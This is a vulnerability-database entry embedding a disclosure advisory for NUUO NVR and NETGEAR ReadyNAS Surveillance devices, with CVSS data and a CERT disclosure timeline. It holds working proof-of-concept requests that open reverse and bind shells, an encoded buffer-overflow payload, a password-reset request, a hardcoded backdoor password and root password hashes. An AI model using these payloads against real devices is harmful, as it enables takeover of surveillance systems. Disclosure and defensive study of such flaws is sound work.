Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0090",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.1.20"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.9.6"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.1.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.75"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.7.9"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.7.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.4"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.2.0.4"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.3.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.2.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.1.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.14"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0.117"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 to 3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.0.0 to 3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "arm edition 1.1.1 to 1.4.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "x86 edition 1.1.1 to 1.4.1"
},
{
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2"
},
{
"model": "inc netgear readynas surveillance",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "inc nvrsolo",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "inc crystal",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrsolo",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5677",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5677",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2016-06369",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-94496",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2016-5677",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5677",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-5677",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2016-06369",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-267",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-94496",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2016-5677",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. The vulnerability is caused by the program using hard-coded (\u0027qwe23622260\u0027 as the password) for the nuuoeng account. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET 